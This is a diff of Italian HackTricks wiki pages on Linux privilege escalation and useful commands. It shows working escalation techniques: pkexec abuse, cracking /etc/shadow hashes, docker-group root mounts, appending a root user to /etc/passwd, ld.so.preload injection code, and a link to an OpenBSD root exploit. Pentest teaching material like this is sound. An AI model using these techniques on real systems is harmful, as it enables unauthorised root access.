**Ottieni una shell interattiva di Lua**: Se ti trovi all'interno di una shell di Lua limitata, puoi ottenere una nuova shell di Lua (e sperabilmente illimitata) chiamando:
```bash ```bash
debug.debug() debug.debug()
``` ```
## Riferimenti
### Riferimenti * [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Diapositive: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (Slides: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf)) {% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Sostieni HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}

View file

@ -1,18 +1,19 @@
# Gruppi Interessanti - Linux Privesc # Gruppi Interessanti - Linux Privesc
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Gruppi Sudo/Admin ## Gruppi Sudo/Admin
@ -38,12 +39,12 @@ Trova tutti i binari suid e controlla se c'è il binario **Pkexec**:
```bash ```bash
find / -perm -4000 2>/dev/null find / -perm -4000 2>/dev/null
``` ```
Se trovi che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo utilizzando `pkexec`.\ Se trovi che il binario **pkexec è un binario SUID** e appartieni a **sudo** o **admin**, probabilmente potresti eseguire binari come sudo usando `pkexec`.\
Questo perché di solito questi sono i gruppi all'interno della **policy polkit**. Questa policy identifica fondamentalmente quali gruppi possono utilizzare `pkexec`. Controllalo con: Questo perché tipicamente questi sono i gruppi all'interno della **policy polkit**. Questa policy identifica fondamentalmente quali gruppi possono utilizzare `pkexec`. Controllalo con:
```bash ```bash
cat /etc/polkit-1/localauthority.conf.d/* cat /etc/polkit-1/localauthority.conf.d/*
``` ```
troverai quali gruppi sono autorizzati ad eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni Linux i gruppi **sudo** e **admin** appaiono. Qui troverai quali gruppi sono autorizzati ad eseguire **pkexec** e **per impostazione predefinita** in alcune distribuzioni Linux i gruppi **sudo** e **admin** appaiono.
Per **diventare root puoi eseguire**: Per **diventare root puoi eseguire**:
```bash ```bash
@ -55,7 +56,7 @@ polkit-agent-helper-1: error response to PolicyKit daemon: GDBus.Error:org.freed
==== AUTHENTICATION FAILED === ==== AUTHENTICATION FAILED ===
Error executing command as another user: Not authorized Error executing command as another user: Not authorized
``` ```
**Non è perché non hai le autorizzazioni ma perché non sei connesso senza una GUI**. E c'è un modo per aggirare questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**: **Non è perché non hai le autorizzazioni ma perché non sei connesso senza una GUI**. E c'è una soluzione a questo problema qui: [https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903](https://github.com/NixOS/nixpkgs/issues/18012#issuecomment-335350903). Hai bisogno di **2 sessioni ssh diverse**:
{% code title="session1" %} {% code title="session1" %}
```bash ```bash
@ -90,11 +91,11 @@ Gli utenti del **gruppo shadow** possono **leggere** il file **/etc/shadow**:
``` ```
-rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow -rw-r----- 1 root shadow 1824 Apr 26 19:10 /etc/shadow
``` ```
Quindi, leggi il file e cerca di **decifrare alcuni hash**. Quindi, leggi il file e cerca di **violare alcuni hash**.
## Gruppo Staff ## Gruppo Staff
**staff**: Consente agli utenti di aggiungere modifiche locali al sistema (`/usr/local`) senza necessità di privilegi di root (nota che gli eseguibili in `/usr/local/bin` sono nel PATH di qualsiasi utente e possono "sovrascrivere" gli eseguibili in `/bin` e `/usr/bin` con lo stesso nome). Confronta con il gruppo "adm", che è più legato al monitoraggio/sicurezza. [\[fonte\]](https://wiki.debian.org/SystemGroups) **staff**: Consente agli utenti di aggiungere modifiche locali al sistema (`/usr/local`) senza necessità di privilegi di root (nota che gli eseguibili in `/usr/local/bin` sono nel percorso di qualsiasi utente e possono "sovrascrivere" gli eseguibili in `/bin` e `/usr/bin` con lo stesso nome). Confronta con il gruppo "adm", che è più legato al monitoraggio/sicurezza. [\[fonte\]](https://wiki.debian.org/SystemGroups)
Nelle distribuzioni debian, la variabile `$PATH` mostra che `/usr/local/` verrà eseguito con la massima priorità, che tu sia un utente privilegiato o meno. Nelle distribuzioni debian, la variabile `$PATH` mostra che `/usr/local/` verrà eseguito con la massima priorità, che tu sia un utente privilegiato o meno.
```bash ```bash
@ -191,7 +192,7 @@ Successivamente, modifica la larghezza e l'altezza con quelle utilizzate sullo s
## Gruppo Root ## Gruppo Root
Sembra che per impostazione predefinita i **membri del gruppo root** potrebbero avere accesso per **modificare** alcuni file di configurazione dei **servizi** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per l'escalation dei privilegi... Sembra che per impostazione predefinita i **membri del gruppo root** potrebbero avere accesso per **modificare** alcuni file di configurazione di **servizio** o alcuni file di **librerie** o **altre cose interessanti** che potrebbero essere utilizzate per l'escalation dei privilegi...
**Verifica quali file possono essere modificati dai membri di root**: **Verifica quali file possono essere modificati dai membri di root**:
```bash ```bash
@ -211,18 +212,6 @@ echo 'toor:$1$.ZcF5ts0$i4k6rQYzeegUkacRCvfxC0:0:0:root:/root:/bin/sh' >> /etc/pa
#Ifyou just want filesystem and network access you can startthe following container: #Ifyou just want filesystem and network access you can startthe following container:
docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash docker run --rm -it --pid=host --net=host --privileged -v /:/mnt <imagename> chroot /mnt bashbash
``` ```
Finalmente, se non ti piace nessuna delle suggerimenti precedenti, o se non stanno funzionando per qualche motivo (firewall dell'API di Docker?), potresti sempre provare a **eseguire un container privilegiato ed evadere da esso** come spiegato qui:
{% content-ref url="../docker-security/" %}
[docker-security](../docker-security/)
{% endcontent-ref %}
Se hai le autorizzazioni di scrittura sul socket di Docker leggi [**questo post su come ottenere privilegi abusando del socket di Docker**](../#writable-docker-socket)**.**
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
{% embed url="https://fosterelli.co/privilege-escalation-via-docker.html" %}
## Gruppo lxc/lxd ## Gruppo lxc/lxd
{% content-ref url="./" %} {% content-ref url="./" %}
@ -231,24 +220,10 @@ Se hai le autorizzazioni di scrittura sul socket di Docker leggi [**questo post
## Gruppo Adm ## Gruppo Adm
Di solito i **membri** del gruppo **`adm`** hanno autorizzazioni per **leggere i file di log** situati dentro _/var/log/_.\ Di solito i **membri** del gruppo **`adm`** hanno le autorizzazioni per **leggere i file di log** situati all'interno di _/var/log/_.\
Pertanto, se hai compromesso un utente all'interno di questo gruppo dovresti sicuramente dare un'**occhiata ai log**. Pertanto, se hai compromesso un utente all'interno di questo gruppo dovresti sicuramente dare un'**occhiata ai log**.
## Gruppo Auth ## Gruppo Auth
Dentro OpenBSD il gruppo **auth** di solito può scrivere nelle cartelle _**/etc/skey**_ e _**/var/db/yubikey**_ se vengono utilizzate.\ All'interno di OpenBSD il gruppo **auth** di solito può scrivere nelle cartelle _**/etc/skey**_ e _**/var/db/yubikey**_ se vengono utilizzate.\
Queste autorizzazioni possono essere sfruttate con l'exploit seguente per **escalare i privilegi** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot) Queste autorizzazioni possono essere sfruttate con l'exploit seguente per **escalare i privilegi** a root: [https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot](https://raw.githubusercontent.com/bcoles/local-exploits/master/CVE-2019-19520/openbsd-authroot)
<details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -1,25 +1,26 @@
# Scrittura arbitraria di file nella directory root # Scrittura di File Arbitrari nella Directory Root
{% hint style="success" %}
Impara e pratica l'Hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %}
### /etc/ld.so.preload ### /etc/ld.so.preload
Questo file funziona come la variabile d'ambiente **`LD_PRELOAD`** ma funziona anche nei **binari SUID**.\ Questo file funziona come la variabile d'ambiente **`LD_PRELOAD`** ma funziona anche nei **binari SUID**.\
Se puoi crearlo o modificarlo, puoi semplicemente aggiungere un **percorso a una libreria che verrà caricata** con ogni binario eseguito. Se puoi crearlo o modificarlo, puoi semplicemente aggiungere un **percorso a una libreria che verrà caricata** con ogni binario eseguito.
Ad esempio: `echo "/tmp/pe.so" > /etc/ld.so.preload` Per esempio: `echo "/tmp/pe.so" > /etc/ld.so.preload`
```c ```c
#include <stdio.h> #include <stdio.h>
#include <sys/types.h> #include <sys/types.h>
@ -49,12 +50,27 @@ chmod +x pre-commit
### File Cron & Time ### File Cron & Time
DA FARE TODO
### File di Servizio & Socket ### File di Servizio & Socket
DA FARE TODO
### binfmt\_misc ### binfmt\_misc
Il file situato in `/proc/sys/fs/binfmt_misc` indica quale binario deve eseguire quale tipo di file. DA FARE: controllare i requisiti per sfruttare questo per eseguire una reverse shell quando viene aperto un tipo di file comune. Il file situato in `/proc/sys/fs/binfmt_misc` indica quale binario dovrebbe eseguire quale tipo di file. TODO: controllare i requisiti per sfruttare questo per eseguire una reverse shell quando viene aperto un tipo di file comune.
{% hint style="success" %}
Impara & pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara & pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Supporta HackTricks</summary>
* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details>
{% endhint %}

View file

@ -3,24 +3,25 @@
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Impara e pratica l'Hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'Hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
## Bash Comune ## Bash Comune
```bash ```bash
@ -144,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -171,13 +172,7 @@ i686-mingw32msvc-gcc -o executable useradd.c
``` ```
## Greps ## Greps
Grep è uno strumento potente per cercare testo all'interno dei file. Ecco alcuni utilizzi comuni: Grep è uno strumento potente per cercare testo all'interno dei file. Può essere utilizzato con molte opzioni per adattarsi alle esigenze specifiche della ricerca.
- `grep pattern file`: Cerca un modello all'interno di un file.
- `grep -r pattern directory`: Cerca un modello all'interno di una directory in modo ricorsivo.
- `grep -i pattern file`: Cerca un modello all'interno di un file, ignorando maiuscole/minuscole.
- `grep -v pattern file`: Mostra le righe che non corrispondono al modello specificato.
- `grep -o pattern file`: Mostra solo la parte del testo che corrisponde al modello.
```bash ```bash
#Extract emails from file #Extract emails from file
grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt grep -E -o "\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,6}\b" file.txt
@ -329,24 +324,25 @@ iptables -P INPUT DROP
iptables -P FORWARD ACCEPT iptables -P FORWARD ACCEPT
iptables -P OUTPUT ACCEPT iptables -P OUTPUT ACCEPT
``` ```
{% hint style="success" %}
Impara e pratica l'hacking su AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary>Sostieni HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
</details> </details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti **comunitari più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -1,26 +1,27 @@
# Comandi utili di Linux # Comandi Utili di Linux
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% hint style="success" %}
Impara e pratica l'hacking su AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica l'hacking su GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Supporta HackTricks</summary>
Altri modi per supportare HackTricks: * Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * **Condividi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di Github.
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione esclusiva di [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.
</details> </details>
{% endhint %}
## Bash Comune ## Bash Comune
```bash ```bash
@ -144,7 +145,7 @@ sudo chattr -i file.txt #Remove the bit so you can delete it
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\ Usa [**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) per creare facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della community **più avanzati al mondo**.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -171,13 +172,7 @@ i686-mingw32msvc-gcc -o executable useradd.c
``` ```
## Greps ## Greps
Grep è uno strumento potente per cercare testo all'interno di file. Ecco alcuni utilizzi comuni: Grep è uno strumento potente per cercare testo all'interno di file. Può essere utilizzato per trovare parole specifiche, stringhe di testo o pattern all'interno di file o output di comandi.
- `grep "parola_chiave" file.txt`: Cerca una parola chiave all'interno di un file.
